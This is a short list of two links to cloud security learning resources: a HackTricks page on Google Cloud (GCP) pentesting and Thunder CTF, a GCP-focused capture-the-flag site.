- HackTricks GCP: https://cloud.hacktricks.wiki/pentesting-cloud/gcp-security
- Thunder CTF (GCP-specific): https://thunder-ctf.cloud
